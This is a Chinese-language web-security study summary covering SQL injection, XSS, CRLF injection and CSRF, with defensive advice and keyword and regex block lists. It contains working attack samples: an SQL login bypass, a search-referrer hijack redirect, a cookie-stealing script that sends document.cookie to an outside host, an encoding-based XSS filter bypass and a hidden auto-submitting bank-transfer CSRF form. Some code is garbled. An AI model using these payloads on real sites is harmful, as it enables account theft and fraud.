網站安全我的總結

常見攻擊方式：XSS、SQL注入、木馬、零日攻擊、僵屍網絡、資源枚舉、參數操做、跨站請求僞造、釣魚欺騙、Dos攻擊拒絕服務等。

經常使用防止方式：黑名單過濾(有時候咱們在對網站過來的請求進行黑名單處理 把那些暴漏出來的攻擊方法寫在黑名單中 當請求過來的時候第一時間去 用黑名單進行過慮 可是 這樣的話就要時刻關注有那些漏洞 要及時的去添加到黑名單中 更新 這樣就出現了一種被動的防護體系 要咱們時時去關注更新 因此是治標不治本的方式)+白名單驗證(黑名單是拒絕當前已經掌握的內容 而白名單測試基於拒絕當前未掌握的內容  接受咱們想要的結果)

攻防事例詳述

一. >sql注入

SQL注入攻擊的整體思路：
發現SQL注入位置；判斷服務器類型和後臺數據庫類型；肯定可執行狀況 

注入法：
從理論上說，形式以下的語句
select * from admin where username='XXX' and password='YYY' 的語句，若在正式運行此句以前，若是沒有進行必要的字符過濾，則很容易實施SQL注入。
如在用戶名文本框內輸入：abc’ or 1=1-- 在密碼框內輸入：123 則SQL語句變成：select * from admin where username='abc’ or 1=1 and password='123’無論用戶輸入任何用戶名與密碼，此語句永遠都能正確執行，用戶輕易騙過系統，獲取合法身份。

猜解法：
基本思路是：猜解全部數據庫名稱，猜出庫中的每張表名，分析多是存放用戶名與密碼的表名，猜出表中的每一個字段名，猜出表中的每條記錄內容，還有一種方式能夠得到你的數據庫名和每張表的名，特別是網站的錯誤信息，想着這滲透的方式就niubiliti！
就是經過在形如：http://www. .cn/news?id=10'的方式來經過報錯得到你的數據庫名和表名！

程序的嚴謹性不強：

前端進行查詢的時候 在須要判斷身份的時候沒有判斷 身份和權限的驗證禁止把優惠卷等信息直接加密放在js文件中；

 相應的防止策略：

一、 正則表達式過濾相應的sql注入極其前端xss：

 1 private const string StrRegex = @"\b(ALERT|CONFIRM|PROMPT)\b|^\+/v(8|9)|<[^>]*?=[^>]*?&#[^>]*?>|\b(AND|OR)\b.{1,6}?(=|>|<|\bIN\b|\bLIKE\b)|/\*.+?\*/|\bEXEC\b|\bSP_EXECYTESQL\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)|TRUNCATE|GRANT"; 
 2 
 3 public static bool CheckData(string inputData)
 4 {
 5 if (string.IsNullOrEmpty(inputData)) { return false; }
 6 if (Regex.IsMatch(inputData.ToUpper(), StrRegex))
 7 {
 8 return true;
 9 }
10 else
11 {
12 return false;
13 }
14 }

 

二、字符串過濾

public static String filterContent(String content){
String flt ="'|and|exec|insert|select|delete|update|count|*|%
|chr|mid|master|truncate|char|declare|; |or|-|+|,"; 
Stringfilter[] = flt.split("|"); 
for(int i=0; i {
content.replace(filter, ""); 
}
return content; 
}

 

三、不安全字符屏蔽
本部分採用js來屏蔽，起的做用很小，這樣用屏蔽關鍵字的方法雖然有必定做用，可是在實際應用中這些 SQL的關鍵字也可能成爲真正的查詢關鍵字，到那是被你屏蔽了那用戶不是不能正常的使用了。 只要在代碼規範上下點功夫就能夠了 
功能介紹：檢查是否含有"'","\\","/"
 

2、簡單的搜索引擎劫持原理分享
<sc ript language = "javascript">
var regexp=/.(sogou|soso|baidu|google|youdao|yahoo|bing|360|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso|tq)(.[a-z0-9-]+){1,2}//ig;var where =document.referrer;if(regexp.test(where)){window.location.href='http://www.baezone.com'}
</scr ipt>

360網站安全和百度網站安全共同提示使用方法：

• 解決SQL注入漏洞的關鍵是對全部來自用戶輸入的數據進行嚴格檢查、對數據庫配置使用最小權限原則。
• 全部的查詢語句都使用數據庫提供的參數化查詢接口，參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中。
• 對進入數據庫的特殊字符（\'"\<>&*;等）進行轉義處理，或編碼轉換。
• 確認每種數據的類型，好比數字型的數據就必須是數字，數據庫中的存儲字段必須對應爲int型。
• 數據長度應該嚴格規定，能在必定程度上防止比較長的SQL注入語句正常執行。
• 網站每一個數據層的編碼統一，建議所有使用UTF-8編碼，上下層編碼不一致有可能致使一些過濾模型被繞過。
• 嚴格限制網站用戶的數據庫的操做權限，給此用戶提供僅僅可以知足其工做的權限，從而最大限度的減小注入攻擊對數據庫的危害。
• 避免網站顯示SQL錯誤信息，好比類型錯誤、字段不匹配等，防止攻擊者利用這些錯誤信息進行一些判斷。
• 在網站發佈以前建議使用一些專業的SQL注入檢測工具進行檢測，及時修補這些SQL注入漏洞。
• 若您不但願修改任何代碼或部署任何設備，防禦軟件，作到一鍵防禦全部類型的攻擊，推薦您使用一鍵防禦工具保護網站安全。

三. > XSS攻擊的危害：　

•   盜取各種用戶賬號，如機器登陸賬號、用戶網銀賬號、各種管理員賬號　　
•  控制企業數據，包括讀取、篡改、添加、刪除企業敏感數據的能力　　
• 盜竊企業重要的具備商業價值的資料　　
•  非法轉帳　　
•  強制發送電子郵件　　
•  網站掛馬
•  控制受害者機器向其它網站發起攻擊
•  網站常見的存在跨站的地方多半都在留言本，搜索，評論

XSS攻擊利用了Web頁面的編寫疏忽，從Web程序開發的角度來避免：　　

1.  對全部用戶提交內容進行可靠的輸入驗證，包括對URL、查詢關鍵字、HTTP頭、POST數據等，僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交，對其餘的一概過濾。　　
2.  實現Session標記(session tokens)或者HTTP引用頭檢查，以防功能被第三方網站所執行。　　
3.  確認接收的的內容被妥善的規範化，僅包含最小的、安全的Tag(沒有javascript)，去掉任何對遠程內容的引用(尤爲是樣式表和javascript)，使用HTTP only的cookie。

4. 通常的XSS攻擊會在原有的Html代碼中插入其餘的Html或者腳本代碼XSS攻擊 主要目的爲竊取用戶的用戶名密碼切入一個頁面表單和最經常使用的是竊取受害者的cookies信<script>document.location='http://www.panjiayuan.com/catch.html?cookies='+document.cookie+'</script>' 這樣用戶的回話ID和身份認證令牌因爲能夠在頁面中潛入JavaScript代碼　因此就能夠訪問頁面中的XMLHttpRequest對象測全部的ajax操做都將能夠執行會話劫持 SessionID cookie中很差存放重要的信息 和可以證實用戶身份的信息

       固然如上操做將會下降Web業務系統的可用性，用戶僅能輸入少許的制定字符，人與系統間的交互被降到極致，僅適用於信息發佈型站點。而且考慮到不多有Web編碼人員受過正規的安全培訓，很難作到徹底避免頁面中的XSS漏洞;假定全部輸入都是可疑的，必須對全部輸入中的script、iframe等字樣進行嚴格的檢查。這裏的輸入不只僅是用戶能夠直接交互的輸入接口，也包括HTTP請求中的Cookie中的變量，HTTP請求頭部中的變量等，不要僅僅驗證數據的類型，還要驗證其格式、長度、範圍和內容；不要僅僅在客戶端作數據的驗證與過濾，關鍵的過濾步驟在服務端進行，對輸出的數據也要檢查，數據庫裏的值有可能會在一個大網站的多處都有輸出，即便在輸入作了編碼等操做，在各處的輸出點時也要進行安全檢查；

---

 一種新型的繞過XSS防護的方法----《摘自網上》

你們都知道，廣泛的防護XSS攻擊的方法是在後臺對如下字符進行轉義：<、>、’、」，可是通過本人的研究發現，在一些特殊場景下，即便對以上字符進行了轉義，仍是能夠執行XSS攻擊的。

首先看一個JS的例子：

<script> 
var s = "\u003c\u003e"; 
alert(s); 
</script> 
運行這段代碼，結果顯示以下：

看到這麼熟悉的尖括號，你們會不會有一些興奮的感受呢？JS代碼中並無出現尖括號，但是運行時卻輸出了尖括號！！！這意味着：能夠經過\u003c和\u003e來代替<和>。但是該如何利用這個特性來構造XSS攻擊呢？繼續看一個例子：

<div id='s'> 
test 
</div> 
<script> 
var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e"; 
document.getElementById('s').innerHTML = s; 
</script> 
運行上面代碼，結果顯示以下：

在沒有尖括號的狀況下，成功實現了一個彈框的案例。

如今來設想一個更貼近實際開發狀況的例子：

（1）假設某站的首頁：http://localhost/main.html，其代碼爲：

<div id="test"> 
aa 
</div> 
<script> 
function callback(obj) 
{ 
document.getElementById("test").innerHTML = obj.name; 
} 
</script> 
<script src=" http://localhost/getcontent"></script> 
（2）http://localhost/getcontent返回的內容格式以下：

callback({"name":"xx"});

其中name的值是用戶的暱稱。

這個例子簡單模擬了異步拉取信息並進行顯示的狀況。

如今假設用戶的暱稱爲：

\u003cimg src=1 onerror=alert(/xss/)\u003e

那麼會是什麼狀況呢？

首先getcontent返回的暱稱應該是這樣的：

\\u003cimg src=1 onerror=alert(/xss/)\\u003e

由於後臺輸出JSON格式數據時，通常都會在\前面添加轉義符進行轉義。

接着main.html的callback函數應該是等價於執行下面的語句：

document.getElementById("test").innerHTML =" \\u003cimg src=1 onerror=alert(/xss/)\\u003e";

顯示的結果以下：

很遺憾，沒有彈出框。緣由是原來的轉義序列\u003c並無生效，被添加的轉義符轉義掉了。

不過這裏假設返回暱稱時對\進行了轉義，但實際狀況下，有時輸出json格式數據時是沒有對\進行轉義的，那樣就會觸發漏洞。

對於有對\進行轉義的，這時就輪到咱們強大的半字符出場了。對於半字符的問題，這裏並不打算詳細講，說下結論：

對於gb2312編碼，" [0xc0]\ "是一個合法的編碼，顯示爲："繺"。

對於UTF-8編碼，在IE6下，上述組合也是一個合法的編碼。

其中[0xc0]表示一個十六進制的值。

如今修改暱稱爲：

[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e，

getcontent輸出：

callback({"name":"[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e"});

因爲半字符[0xc0]的存在，在解釋上述JS代碼時，等價於：

callback({"name":"繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e"});

可見，轉義序列\u003c終於又回來了，顯示結果以下：

上述暱稱中並無出現單雙引號，尖括號，因此若是後臺只是對單雙引號和尖括號進行轉義，那麼是能夠被繞過防護的。

總結：

（1）利用場景：輸出內容在JS代碼裏，而且被動態顯示出來（如使用innerHTML）。

（2）測試方法：截獲請求包，修改參數爲：

%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e

（3）防護方法：後臺對半字符，反斜槓，單雙引號，尖括號進行處理。

一切皆有可能，跨站無處不在，發揮偶們強大的智慧來挖掘吧！

HTTP響應頭拆分漏洞解決方案

HTTP響應拆分漏洞，也叫CRLF注入攻擊。CR、LF分別對應回車、換行字符。HTTP頭由不少被CRLF組合分離的行構成，每行的結構都是「鍵：值」。若是用戶輸入的值部分注入了CRLF字符，它有可能改變的HTTP報頭結構。
HTTP響應拆分是一個新的應用程序的攻擊技術，使網頁緩存中毒，跨用戶塗改，如各類新的攻擊，劫持用戶的敏感信息和跨站點腳本(XSS)的網頁。
危害：
攻擊者可能注入自定義HTTP頭。例如，攻擊者能夠注入會話cookie或HTML代碼。這可能會進行相似的XSS(跨站點腳本)或會話固定漏洞。
思路：
限制用戶輸入的CR和LF，或者對CR和LF字符正確編碼後再輸出，以防止注入自定義HTTP頭。
解決方案：
這種現象每每表如今帶有參數傳遞的網頁，只要合理的過濾好就OK 

---

 4、CSRF攻擊方式-跨站請求僞造攻擊

1.CSRF是什麼？
CSRF（Cross-siterequestforgery），中文名稱：跨站請求僞造 縮寫爲：CSRF/XSRF。
2.CSRF能夠作什麼？
你這能夠這麼理解CSRF攻擊：攻擊者盜用了你的身份，以你的名義發送惡意請求。CSRF可以作的事情包括：以你名義發送郵件，發消息，盜取你的帳號，甚至於購買商品，虛擬貨幣轉帳......形成的問題包括：我的隱私泄露以及財產安全。
3.CSRF的原理
受害者必須依次完成兩個步驟：

1. 登陸受信任網站A，並在本地生成Cookie。
2. 在不登出A的狀況下，訪問危險網站B。

看到這裏，你也許會說：「若是我不知足以上兩個條件中的一個，我就不會受到CSRF的攻擊」。是的，確實如此，但你不能保證如下狀況不會發生：
1.你不能保證你登陸了一個網站後，再也不打開一個tab頁面並訪問另外的網站。
2.你不能保證你關閉瀏覽器了後，你本地的Cookie馬上過時，你上次的會話已經結束。（事實上，關閉瀏覽器不能結束一個會話，但大多數人都會錯誤的認爲關閉瀏覽器就等於退出登陸/結束會話了......）
3.多是一個存在其餘漏洞的可信任的常常被人訪問的網站。

CSRF跟XSS 異同
類似：攻擊者都是操做用戶的瀏覽器 假冒合法用戶來進行非法的行爲
不一樣: 所處的位置相反 XSS攻擊力用用戶對網站的信任 相信網站已經正常工做合法 而CSRF測試利用網站對用戶的信任 相信網站接收的全部的請求都是合法用戶正常操做來的

 網絡上經常使用事例分享：

銀行網站A，它以GET請求來完成銀行轉帳的操做，如：
http://localhost/Transfer.aspx?toBankId=11&money=1000 危險網站B，它裏面有一段HTML的代碼以下： <imgsrc=http://localhost/Transfer.aspx? toBankId=11&money=1000> 首先，你登陸了銀行網站A，而後訪問危險網站B，噢，這時你會發現你的銀行帳戶少了1000塊...... 爲何會這樣呢？緣由是銀行網站A違反了HTTP規範，使用GET請求更新 資源。在訪問危險網站B的以前，你已經登陸了銀行網站A，而B中的<img>以GET的方式請求第三方資源（這裏的第三方就是指銀行網站了，本來這是一個合法的請求，但這裏被不法分子利用了），因此你的瀏覽器會帶上你的銀行網站A的Cookie發出Get請求，去獲取資源「http://localhost/Transfer.aspx?toBankId=11&money=1000」，結果銀行網站服務器收到請求後，認爲這是一個更新資源操做（轉帳操做），因此就馬上進行轉帳操做...... 
爲了杜絕上面的問題，銀行決定改用POST請求完成轉帳操做。
銀行網站A的WEB表單以下：
<formaction="Transfer.aspx"method="POST">
<p>ToBankId:<inputtype="text"name="toBankId"/></p>
<p>Money:<inputtype="text"name="money"/></p>
<p><inputtype="submit"value="Transfer"/></p>
</form>
危險網站B，仍然只是包含那句HTML代碼：
<imgsrc=http://localhost/Transfer.aspx?toBankId=11&money=1000> 和示例1中的操做同樣，你首先登陸了銀行網站A，而後訪問危險網站B， 結果.....和示例1同樣，你再次沒了1000塊～T_T，此次事故的緣由是：銀行 後臺使用了$_REQUEST去獲取請求的數據，而$_REQUEST既能夠獲取GET請求的 數據，也能夠獲取POST請求的數據，這就形成了在後臺處理程序沒法區分這究竟是GET請求的數據仍是POST請求的數據。在PHP中，可使用$_GET和$_POST分別獲取GET請求和POST請求的數據。在JAVA中，用於獲取請求數據request同樣存在不能區分GET請求數據和POST數據的問題。

然而，危險網站B與時俱進，它改了一下代碼：

<html>
<head>
<scripttype="text/javascript">
functionsteal()
{
iframe=document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<bodyonload="steal()">
<iframename="steal"display="none">
<formmethod="POST"name="transfer" action="http://pjy.com/orderchange.ashx">
<inputtype="hidden"name="toBankId"value="11">
<inputtype="hidden"name="money"value="1000">
</form>
</iframe>
</body>
</html>

　若是用戶還是繼續上面的操做，很不幸，結果將會是再次不見1000塊......由於這裏危險網站B暗地裏發送了POST請求到銀行!

總結一下上面3個例子，CSRF主要的攻擊模式基本上是以上的3種，其中以第1,2種最爲嚴重，由於觸發條件很簡單，一個<img>就能夠了，而第3種比較麻煩，須要使用 JavaScript，因此使用的機會會比前面的少不少，但不管是哪一種狀況，只要觸發了CSRF攻擊，後果都有可能很嚴重。
理解上面的3種攻擊模式，其實能夠看出，CSRF攻擊是源於WEB的隱式身份驗證機制！WEB的身份驗證機制雖然能夠保證一個請求是來自於某個用戶的瀏覽器，但卻沒法保證該請求是用戶批准發送的！
4.CSRF的防護
我總結了一下看到的資料，CSRF的防護能夠從服務端和客戶端兩方面着手，防護效果是從服務端着手效果比較好，如今通常的CSRF防護也都在服務端進行。
服務端的CSRF方式方法不少樣，但總的思想都是一致的，就是在客戶端頁面增長僞隨機數。
(1).Cookie(全部表單都包含同一個僞隨機值)：
這多是最簡單的解決方案了，由於攻擊者不能得到第三方的Cookie(理論上)，因此表單中的數據也就構造失敗了，在表單裏增長Hash值，以認證這確實是用戶發送的請求。而後在服務器端進行Hash值驗證；因爲 用戶的Cookie很容易因爲網站的XSS漏洞而被盜取，這就另外的1%。通常的攻擊者看到有須要算Hash值，基本都會放棄了，某些除外，因此若是須要100%的杜絕，這個不是最好的方法。
(2).驗證碼
這個方案的思路是：每次的用戶提交都須要用戶在表單中填寫一個圖片上的隨機字符串，這個方案能夠徹底解決CSRF，但我的以爲在易用性方面彷佛不是太好，還有聽聞是驗證碼圖片的使用涉及了一個被稱爲HTML的Bug，可能在某些版本的微軟IE中受影響。
(3).One-TimeTokens(不一樣的表單包含一個不一樣的僞隨機值)
在實現One-TimeTokens時，須要注意一點：就是「並行會話的兼容」。若是用戶在一個站點上同時打開了兩個不一樣的表單，CSRF保護措施不該該影響到他對任何表單的提交。考慮一下若是每次表單被裝入時站點生成一個僞隨機值來覆蓋之前的僞隨機值將會發生什麼狀況：用戶只能成功地提交他最後打開的表單，由於全部其餘的表單都含有非法的僞隨機值。必須當心操做以確保CSRF
保護措施不會影響選項卡式的瀏覽或者利用多個瀏覽器窗口瀏覽一個站點。

1).頁面隨機數驗證
2).Session令牌
3).WEB表單生成隱藏輸入域
4).服務端覈對令牌

常見攻擊連接：http://localhost/order/OrderManage.aspx?productname=&producttype=&paytype=&starttime=&endtime=&evastate=&orderid=&type=undefined&loginname=;top.window.a==1?1:prompt(a=1);//';top.window.a==1?1:prompt(a=1);//